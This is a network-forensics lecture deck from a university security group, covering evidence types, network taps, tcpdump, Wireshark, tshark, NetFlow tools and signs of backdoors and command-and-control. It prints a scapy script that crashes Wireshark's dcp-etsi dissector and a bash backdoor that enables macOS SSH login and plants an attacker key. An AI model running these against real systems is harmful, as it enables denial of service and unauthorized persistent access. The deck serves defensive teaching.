Network Forensics

Raymond Nunez

Dept. of Computer Science, Computer Security Group
UP Diliman Computer Center
Disclaimer

• Intercepting network activities can be the equivalent of a wiretap.

• Network taps allows you to monitor other people’s traffic

• WARNING: Do NOT violate privacy or security policies
forensic

/feˈrenzik,-sik/  

noun
plural noun: forensics

1. scientific tests or techniques used in connection with the detection of crime.

   informal
   a laboratory or department responsible for tests used in detection of crime.
   adjective: forensic

Origin

LATIN  LATIM

forum  forensis  forensis
in open court, public  in open court, public

ENGLISH

forum  forensic  forensic

mid 17th cent.: from Latin forensis ‘in open court, public,’ from forum (see forum).
Forensics

- Systems
- Disk
- Memory
- Log Correlation
- Malware Analysis
- Network
Network Forensics

• How malicious software got in
• What the system did on the network before, during, and after the malware event
• What other machines were doing at that time
The packets never lie.

Gerald Combs
Evidence Types: PCAP

- tcpdump / gateway generated
- Common extensions: pcap, dump, cap
- Contain the data from the interface to which the sniffer/protocol analyzer was connected
Evidence Types: Logs

- Excellent corroborating evidence
- Careful handling - easy to edit
- Require parsing and searching
- Collectable from a large number of evidence
- May not go back far enough
- May not have sufficient fidelity of data
- Time Zone settings?
Evidence Types: NetFlow/IPFIX

- Proprietary term (Cisco): NetFlow
  - v5 is the most common, v7, v9
- Open IETF standard: Internet Protocol Flow Information Expert
  - Based on NetFlow protocol v9
- Tallies packets sharing common characteristics
  - Same hosts, ports, and protocol
- Records volume, timing, and count of packets
Log Analysis
Note on Time

- Synchronize all your platform's clocks
- Check the Time Zone settings
- Best to store everything in UTC
Proxy Logs

- Is there a proxy?
- Is it logging?
- What's the configuration?
Tools

• grep, sed, awk, wc
• calamari
• Sawmill / Splunk / LogRythym / RSA Analytics
Data Collection
Constraints

FAST, CHEAP OR GREAT?

Please choose 2:

- FAST
- CHEAP
- GREAT
- LOW Quality
- HIGH Cost
- LONG Duration

*UNATTAINABLE Nirvana
There is always someone...

... who will do it cheaper!
Network Taps
Network Taps

http://hackaday.com/2008/09/14/passive-networking-tap/
Network Taps

Passive Network Taps

http://fernandomagro.com/security/linux-network-tap/
Hubs


Sniffer
Switches - MAC Flooding

Switches - ARP Poison

SPAN Ports

SPAN Ports

- Cisco's trade name: SPAN port
- A "soft tap" that duplicates packets
- Identify specific ports or VLAN
SPAN Ports

• Pro: Hardware already in place
  • Minimize downtime
  • Simplify/ avoid accreditation hurdles

• Con: Speed can suffer - packet loss
Hardware Taps

• Purpose - built solution

• By design, all they do is duplicate traffic for monitoring

• May use monitor port for each direction of monitored link

• Some provide multiple portd of aggregated traffoc
USB Powered Switch

- Port Mirroring
- USB Powered
- Mini Size

USB Powered Switch

Profishark

http://www.profitap.com/profishark-1g/
Fiber Taps

http://searchsecurity.techtarget.com/magazineContent/Optical-network-security-Inside-a-fiber-optic-hack
Hardware Taps

• Pro: Single-purpose, highly engineered
  • Network traffic is not dropped
  • Redundant and fail-safe

• Con: Installation process and cost
  • Installing required downtime
  • Cost can be very high, limiting pre-positioning
PwnPlug by PwnieExpress

- Includes 4G/GSM cellular, Wireless (802.11b/g/n), high-gain Bluetooth, & USB-Ethernet adapters
- Fully-automated NAC/802.1x/RADIUS bypass!
- **Out-of-band SSH access over 4G/GSM cell networks!**
- **Text-to-Bash**: text in bash commands via SMS!
- Simple web-based administration with "Plug UI"
- One-click Evil AP, stealth mode, & passive recon
- Maintains persistent, covert, encrypted SSH access to your target network [Details]
- Tunnels through application-aware firewalls & IPS
- Supports HTTP proxies, SSH-VPN, & OpenVPN
- Sends email/SMS alerts when SSH tunnels are activated
- Preloaded with Debian 6, Metasploit, SET, Fast-Track, w3af, Kismet, Aircrack, SSLstrip, nmap, Hydra, dsniff, Scapy, Ettercap, Bluetooth/VoIP/IPv6 tools, & more!
- Unpingable and no listening ports in stealth mode
The Industry’s First Commercial Pentesting Drop Box.

**Features:**
- Covert tunneling
- SSH access over 3G/GSM cell networks
- NAC/802.1x bypass
- and more!

Discover the glory of Universal Plug & Pwn

@pwnieexpress.com

t) @pwnieexpress  e) info@pwnieexpress.com  p) 802.227.2PWN
Wireless Collection

• Passive
• Active
• 802.11 a/b/g/n/ac
• Bluetooth / Zigbee ?
OSI Layer 7 Sources

- WLAN Controller, DHCP Server, DNS Server, Proxy Server, IDS, Firewall
- All of these can generate logs
- Logs may require manual processing
- All corroborate observed activity
NetFlow Data - Internal

- medata information about traffic flows
- Not as good as pcaps / headers mainly
- Smaller in size than full packet capture allows longer retention
- Sources: Routers, Firewall, Flow extractors
External Sources

• ISP or 3rd party Internet DNS services
• ISPs sometimes retain NetFlow data
• Other targets or victim
Softwares
When a single hour of network downtime can cost millions

... downtime is not an option

www.agilent.com/commoeone networks

Agilent Technologies
TCPDUMP/WINDUMP

• Low level packet sniffer.

• Good, if you see a new type of attack or try to diagnose a networking problem.

• Bad, since you have to look at all these packets and learn how to interpret them.
TCPDUMP

- Most widely used capture tool
- Open-source, cross platform
- CLI based
- Based on libpcap
  - Uses BPF Syntax
  - Read from network or pcap file
  - Commercial tools can read from/to pcap
The Good

• Provides an audit trail of network activity.
• Provides absolute fidelity.
• Universally available and cheap.
The Bad

• Does not collect the payload by default.

• Does not scale well.

• State / connections are hidden.

• Very Limited analysis of packages.

• Collects a given number of bytes from each package:

• This could turn “trap and trace” monitoring into wiretaping because content might be captured.
Running TCPDUMP

- Interpret packages in that format.
- Use the TCP/IP header format.

<table>
<thead>
<tr>
<th>Offsets</th>
<th>Octet</th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
</tr>
</thead>
<tbody>
<tr>
<td>Octet</td>
<td>Bit</td>
<td>0</td>
<td>1</td>
<td>2</td>
<td>3</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>32</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>64</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>12</td>
<td>96</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>16</td>
<td>128</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>20</td>
<td>160</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

...
TCPDUMP

• Length of capture: tcpdump –s 68

• Usual default snap length is 68B

• We see only 54B, because the ethernet header is 14B long.

• Remember, this could become a legal problem if you see content.
TCPDUMP

- `sudo tcpdump -n -s 0 -i eth0 -w output.pcap \ 'host 1.1.1.1 and port 22'

- Packet loss - CPU, storage, etc.

- BPF can minimize capture minimization

- `man tcpdump` / `man pcap-filter`
TCPDUMP

- tcpdump –e host server.upd.edu.ph
- Displays data link data filtered by host named server.upd.edu.ph.
- Shows Source MAC
- Destination MAC
- Protocol
Cheat Sheet

- `-n` Don’t convert host addresses to names. Avoids DNS lookups. It can save you time.

- `-w <filename>` Write the raw packets to the specified file instead of parsing and printing them out. Useful for saving a packet capture session and running multiple filters against it later.

- `-r <filename>` Read packets from the specified file instead of live capture. The file should have been created with `-w` option.

- `-q` Quiet output. Prints less information per output line.
Cheat Sheet

• **-s 0** tcpdump usually does not analyze and store the entire packet. This option ensures that the entire packet is stored and analyzed. NOTE: You must use this option while generating the traces for your assignments.

• **-A (or –X in some versions)** Print each packet in ASCII. Useful when capturing web pages. NOTE: The contents of the packet before the payload (for example, IP and TCP headers) often contain unprintable ASCII characters which will cause the initial part of each packet to look like rubbish.
Cheat Sheet

- **C** Rotate pcap after file size reached
- **G** Rotate pcap after number of seconds
- **W** Limit number of rotated pcap files
- **F** Load BPFs from file
- **x** Print hex for each packet
- **X** Print hex and ASCII for each packet
Running TCPDUMP

- `–x` looks at packages in hex format
TCPDUMP

Other Options

- Use the `–c` extension to limit the number of packets captured.
- Use `–v`, `-vv`, `-vvv` for verbosity.
- Use `–tttt` to display time / day stamps.
- Use `–r` to specify capture file.
BPF Primitives

• Several primitives and logical combo:
  • Common: ip, tcp, udp, icmp, host, ether, net, port
  • Qualifiers: src, dst
  • Logic: and, or, not, ()
  • Uncommon: vlan, portrange, gateway, offsets: ip[9:1] ==0x06
Filters

- Capture only packages that are useful.
- Specify in the filter what items are interesting.
- Filters use common fields such as host or port.
- Filters also for individual bytes and bits in the datagram
Filters

• Format 1: macro and value
  • “tcpdump port 22”
  • Only displays packages going to or from port 22.
Data Reduction

• Quickly reduces data to what's interesting

• Loading massive files to Wireshark is not going to be fun

• tcpdump -n -r big.pcap -w small.pcap \ 'not port 443 and not net 224.0.0.0/4 and not port 53'
tcpdump examples

- Capture and display traffic from a live network interface
  - `sudo tcpdump -n -s 100 -A -i eth0 -c 1000`

- Filter traffic from an input file to output file for a specific host
  - `tcpdump -n -r input.pcap -w output.pcap 'host 192.168.1.1'`

- Create a 14-day ring buffer with one day of DNS traffic each
  - `sudo tcpdump -n -i eth0 -w dns.pcap -G 86400 \ -W 14 '(tcp or udp) and port 53'`

- Capture 100MB rotating of data to and from a suspected APT host
  - `sudo tcpdump -n -i eth0 -w evil.pcap -C 100 'host 8.8.9.0'`
Wireshark

• GUI based protocol decoder
  • Parses hundreds of different protocols
  • Can be customized as fit
  • Open-source, cross-platform
  • tshark - CLI equivalent
TCPDUMP vs WireShark

- Less CPU and Memory Footprint
- Wireshark has the analytics features
- But known to have 0-Days
PCAP File Format

- Magic: 0xa1b2c3d4 or 0xd4c3b2a1
- Version: 2.4 for libpcap 1.1.1
- TZ always UTC = 0
- Accuracy always = 0
- snaplen
- Many link types

<table>
<thead>
<tr>
<th>Field</th>
<th>Offset</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>0</td>
<td>Magic Number</td>
</tr>
<tr>
<td>0x04</td>
<td>1</td>
<td>Major Version</td>
</tr>
<tr>
<td>0x08</td>
<td>2</td>
<td>Time zone offset</td>
</tr>
<tr>
<td>0x0C</td>
<td>3</td>
<td>Time stamp accuracy</td>
</tr>
<tr>
<td>0x10</td>
<td>4</td>
<td>Snapshot length</td>
</tr>
<tr>
<td>0x14</td>
<td>5</td>
<td>Link-layer header type</td>
</tr>
</tbody>
</table>
PCAP File Format

- PCAP packet/frame header

<table>
<thead>
<tr>
<th>Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>Time stamp, seconds value</td>
</tr>
<tr>
<td>0x04</td>
<td>Time stamp, microseconds value</td>
</tr>
<tr>
<td>0x08</td>
<td>Length of captured packet</td>
</tr>
<tr>
<td>0x0C</td>
<td>Un-truncated length of packet data</td>
</tr>
</tbody>
</table>
## Wireshark Interface

### TCP Stream Details

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>20</td>
<td>0.182445</td>
<td>192.168.0.1</td>
<td>192.168.0.2</td>
<td>TCP</td>
<td>65</td>
<td>23 → 1254 [ACK] Seq=74 Ack=192 Win=17373 Len=0 TSval=345980 T5</td>
</tr>
<tr>
<td>21</td>
<td>0.196002</td>
<td>192.168.0.1</td>
<td>192.168.0.2</td>
<td>TELNET</td>
<td>78</td>
<td>Telnet Data ...</td>
</tr>
<tr>
<td>22</td>
<td>0.196205</td>
<td>192.168.0.1</td>
<td>192.168.0.2</td>
<td>TELNET</td>
<td>72</td>
<td>Telnet Data ...</td>
</tr>
<tr>
<td>23</td>
<td>0.197390</td>
<td>192.168.0.1</td>
<td>192.168.0.2</td>
<td>TELNET</td>
<td>78</td>
<td>Telnet Data ...</td>
</tr>
<tr>
<td>24</td>
<td>0.198246</td>
<td>192.168.0.1</td>
<td>192.168.0.2</td>
<td>TELNET</td>
<td>81</td>
<td>Telnet Data ...</td>
</tr>
<tr>
<td>25</td>
<td>0.213039</td>
<td>192.168.0.1</td>
<td>192.168.0.2</td>
<td>TELNET</td>
<td>72</td>
<td>Telnet Data ...</td>
</tr>
<tr>
<td>26</td>
<td>0.214354</td>
<td>192.168.0.1</td>
<td>192.168.0.2</td>
<td>TELNET</td>
<td>98</td>
<td>Telnet Data ...</td>
</tr>
<tr>
<td>27</td>
<td>0.233063</td>
<td>192.168.0.1</td>
<td>192.168.0.2</td>
<td>TELNET</td>
<td>73</td>
<td>Telnet Data ...</td>
</tr>
<tr>
<td>28</td>
<td>1.300607</td>
<td>192.168.0.1</td>
<td>192.168.0.2</td>
<td>TELNET</td>
<td>73</td>
<td>Telnet Data ...</td>
</tr>
<tr>
<td>29</td>
<td>1.320345</td>
<td>192.168.0.2</td>
<td>192.168.0.1</td>
<td>TELNET</td>
<td>73</td>
<td>Telnet Data ...</td>
</tr>
<tr>
<td>30</td>
<td>7.594026</td>
<td>192.168.0.1</td>
<td>192.168.0.2</td>
<td>TELNET</td>
<td>72</td>
<td>Telnet Data ...</td>
</tr>
<tr>
<td>31</td>
<td>7.596436</td>
<td>192.168.0.1</td>
<td>192.168.0.2</td>
<td>TELNET</td>
<td>72</td>
<td>Telnet Data ...</td>
</tr>
<tr>
<td>32</td>
<td>7.600031</td>
<td>192.168.0.1</td>
<td>192.168.0.2</td>
<td>TELNET</td>
<td>72</td>
<td>Telnet Data ...</td>
</tr>
</tbody>
</table>

### Additional Information

- **Frame 26**: 98 bytes on wire (784 bits), 98 bytes captured (784 bits)
- **Ethernet II**, Src: `westernD_9f:a0:97 (00:00:c0:9f:a0:97)`, Dst: `Lite-Only `

**Data**:
```
OpenBSD/i386 (oof) {tty1}
```

**Data**:
```
```

**Packets**: 272, **Displayed**: 272 (100.0%), **Load time**: 0:00:91, **Profile**: Default.
Wireshark: resolution

• Make sure: Resolve network (IP) address is unchecked in the preference
Wireshark: Time

- Default: Number of seconds since the packet capture started
- View -> Time Display Format -> Preferred UTC Date Time of Day
Wireshark: Display Filters

- Robust, protocol-aware filtering
- Any Wireshark field name can be used
- Equality: ==, !=
- Logic: and, or, not, ()
- Partial text matches (case sensitive): contains
- RegEx matching: matches
Wireshark: Status Bar

- Field-name once selected
- Machine readable is used for filtering
- Total Packets
- Percentage and Display Count
Wireshark Display Filters

- bare - eg dns.qry.name
- if it is parsed by wireshark then display it
- negation may not be what you want
Wireshark Display Filters from Packet Contents

- Right click specific data
- Apply filter
- Prepare filter
Wireshark: Follow TCP Stream

- View ASCII/hex content of a stream
- Right-click TCP packet -> Follow TCP Stream
- Color coded
- You can select direction of conversation
#!/usr/bin/python # div by 0 in dcp-etsi.c dissector frm scapy.all import from sys import crashdata='504623c4000000008854aa3d5a474547'.decode('hex') packet=IPv6(dst="FF02::1")/UDP(dport=55935,sport=42404)/crashdata send(packet,inter=1,loop=1)

http://0xdeadbeef.us/archives/10-Wireshark-exploit-from-Defcon-20-CTF.html
• It is wireshark

• Explore data and develop analytic processes in GUI

• shift to console to scale and script

• Also useful to perform data reduction using robust display filters
tshark Options

• -r Read from pcap file
• -w Write output to pcap file
• -n Prevent all name resolutions (DNS, service, etc.)
• -Y Specify display filter to use (enclose in single-ticks)
• -T Output mode: text, fields, pdml, others
• -e With "-T fields", select fields to display (multiple)
• -G Display glossary reports (Use "-G ?" for available options)
Monitor DNS queries and replies

```bash
$ tshark -Y "dns.flags.response == 1" \ 
  -Tfields \ 
  -e frame.time_delta \ 
  -e dns.qry.name \ 
  -e dns.a \ 
  -Eseparator=,
```
Issues

• Optimizations - Proxies and Accelerators
• Network Address Translation (NAT)
• VLANs
• Tunnels and VPN
• Encryption
• Wireless
• Cloud
• BYOD
What to Capture

- HTTP proxy logs and cache
- DNS Logs (passive or active)
- Logs and more logs
- Flows :-)

Full Capture Scaling Issue

- privacy and volume reasons
- duplication of data (depending on captured points)
- powerful hardware and huge storage requirement
- Analysis is difficult and slow
There is no alternative to FULL packet capture when all else fails, go with the FLOW …
NetFlow

- No content - only metadata
- Source/Dest IPs, protocol, source/dest ports
- Start and stop times
- Data volumes sent
- The ingress interface
Architecture

- Exporter (device with netflow collection enabled)
- Collector (where the netflow messages are sent)
  - UDP
- Storage
- Analysis Console - nfsen / nfdump / web based
# NetFlow v5 Header

<table>
<thead>
<tr>
<th></th>
<th>0x00</th>
<th>0x04</th>
<th>0x08</th>
<th>0x0C</th>
<th>0x10</th>
<th>0x14</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Version</td>
<td>Exporter Uptime</td>
<td>UNIX Time (Sec)</td>
<td>UNIX Time (Nsec)</td>
<td>Flow Sequence</td>
<td>Engine Type</td>
</tr>
<tr>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Engine ID</td>
</tr>
<tr>
<td>2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Mode</td>
</tr>
<tr>
<td>4</td>
<td>Record Count</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Samp Intervl</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th></th>
<th>0x00</th>
<th>0x04</th>
<th>0x08</th>
<th>0x0C</th>
<th>0x10</th>
<th>0x14</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Version</td>
<td>Exporter Uptime</td>
<td>UNIX Time (Sec)</td>
<td>UNIX Time (Nsec)</td>
<td>Flow Sequence</td>
<td>Engine Type</td>
</tr>
<tr>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Engine ID</td>
</tr>
<tr>
<td>2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Mode</td>
</tr>
<tr>
<td>4</td>
<td>Record Count</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Samp Intervl</td>
</tr>
</tbody>
</table>
# NetFlow v5 Flow Record

<table>
<thead>
<tr>
<th>Field</th>
<th>Offset</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>srcAddr</td>
<td>0x00</td>
<td>0</td>
<td>Source Address</td>
</tr>
<tr>
<td>dstAddr</td>
<td>0x04</td>
<td>1</td>
<td>Destination Address</td>
</tr>
<tr>
<td>nextHop</td>
<td>0x08</td>
<td>2</td>
<td>Next Hop</td>
</tr>
<tr>
<td>inputSNMP</td>
<td>0x0C</td>
<td>4</td>
<td>Input SNMP</td>
</tr>
<tr>
<td>outputSNMP</td>
<td>0x10</td>
<td></td>
<td>Output SNMP</td>
</tr>
<tr>
<td>dPktS</td>
<td>0x14</td>
<td></td>
<td>PktS</td>
</tr>
<tr>
<td>dOctets</td>
<td>0x18</td>
<td></td>
<td>Octets</td>
</tr>
<tr>
<td>first</td>
<td>0x1C</td>
<td></td>
<td>First</td>
</tr>
<tr>
<td>last</td>
<td>0x20</td>
<td></td>
<td>Last</td>
</tr>
<tr>
<td>srcPort</td>
<td>0x24</td>
<td>3</td>
<td>Source Port</td>
</tr>
<tr>
<td>dstPort</td>
<td>0x28</td>
<td>3</td>
<td>Destination Port</td>
</tr>
<tr>
<td>pad1</td>
<td>0x2C</td>
<td></td>
<td>Padding</td>
</tr>
<tr>
<td>tcpFlags</td>
<td></td>
<td></td>
<td>TCP Flags</td>
</tr>
<tr>
<td>proto</td>
<td></td>
<td></td>
<td>Protocol</td>
</tr>
<tr>
<td>TOS</td>
<td></td>
<td></td>
<td>Type of Service</td>
</tr>
<tr>
<td>srcAS</td>
<td></td>
<td></td>
<td>Source AS</td>
</tr>
<tr>
<td>dstAS</td>
<td></td>
<td></td>
<td>Destination AS</td>
</tr>
<tr>
<td>srcMask</td>
<td></td>
<td></td>
<td>Source Mask</td>
</tr>
<tr>
<td>dstMask</td>
<td></td>
<td></td>
<td>Destination Mask</td>
</tr>
<tr>
<td>pad2</td>
<td></td>
<td></td>
<td>Padding</td>
</tr>
</tbody>
</table>
nfcapd

- receives NetFlow data
- stores data to regular files
- Flows are stored as binary files
  - nfcapd.YYYYMMddhhmm
- Files rotate every five minutes (288/day)
- Separates the capture and processing
- Time source sync is a must
nfdump

- tcpdump-like syntax - CLI
- reads the binary input from nfcapd
- ASCII or binary output
  - Binary for further nfdump processing
  - ASCII: raw, line, long, extended
nfdump Input

- Reads from files/directories or STDIN
- recursively walks directories
  - /var/www/netflow/router/2016/12/10/"
nfdump filter

- Filters
  - Protocol: tcp, udp, icmp, gre, esp, ah
  - S/D IP address: ip or host (ip or fqdn)
  - S/D Port: port <num>
  - AS network: as <num>
  - Logics may be used to link expressions
    - and / or / not
NFSEN

- Web-based Netflow management front-end
- Open source NetFlow visualization tool
- Uses the nfdump engine in the background
- From Highlevel overview to detailed drill down
- Prereq: PHP, Perl, RRD
Overview Profile: live, Group: (nogroup)
** nfdump -M /netflow0/nfsen-demo/profile-data/live/peer1:peer2:gateway:site:upstream  -r 2007/05/31/04/nfcapd.200705310440
nfdump filter:
any
Aggregated flows 2797250
Top 10 flows ordered by flows:
Date flow start  Duration Proto  Src IP Addr:Port       Dst IP Addr:Port  Packets  Bytes  Flows
2007-05-31 04:39:54.045 299.034 UDP  116.147.95.88:1110  ->  188.142.64.162:27014  68  5508  68

IP addresses anonymized
Summary: total flows: 4616424, total bytes: 156.6 G, total packets: 172.6 M, avg bps: 644.8 M, avg pps: 90946, avg bpp: 929
Total flows processed: 4616424, skipped: 0, Bytes read: 240064932
Sys: 6.184s flows/second: 746464.4  Wall: 6.185s flows/second: 746361.3

nfSEN 1.3
NFSen: Plugins

- Plugins add additional functionality. Examples:
  - Port Tracker
  - SURFmap
  - SSHcure
  - Botnet
  - Nfsight
Network Miner

- Passive network sniffer/packet
- Detect operating systems, sessions, hostnames, open ports etc.
- Carve and save transmitted files & certificates
- Parse PCAP files for off-line analysis
Network Miner
"The packets never lie" but as traffic volumes increase you end up with a trillion truths. The trick is finding the important ones.
Backdoors and CNC
Backdoors

- Remote Access Trojans are so 1990s

http://www.keyfocus.net/kfsensor/extras/kfsubseven.php
Backdoors

- Admin Tools
- Remote Desktop
- VNC
- SSH - Macs have SSH … authorized_keys :-)

```bash
#!/bin/bash
systemsetup -setremotelogin on > /dev/null 2>&1
ipfw add 10000 allow tcp from any to any dst-port 22
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABABAQAQCyeX0aJ61B4eFaSmoJ..." > ~/.ssh/authorized_keys
chmod 700 ~/.ssh/authorized_keys
```
CNC

• Memory Only Agents / Backdoors (e.g. Meterpreter)

• DNS

• ICMP

• SSL/TLS

• P2P

• IRC/Twitter/GMail

• [Link](http://www.wired.com/threatlevel/2009/08/botnet-tweets/)
Mediating

- Systems Admins vs Network Admins
Analyzing Encrypted Traffic

• DNS is our friend
• Certificates
• Client profiling using supported ciphers
Detecting APTs

- Top 20 Number of Connections
- Top 20 Longest Sessions / Connections
- Top 20 Bandwidth / Data
- Percentage of encrypted traffic
- Destination IP Address

Dr. Eric Cole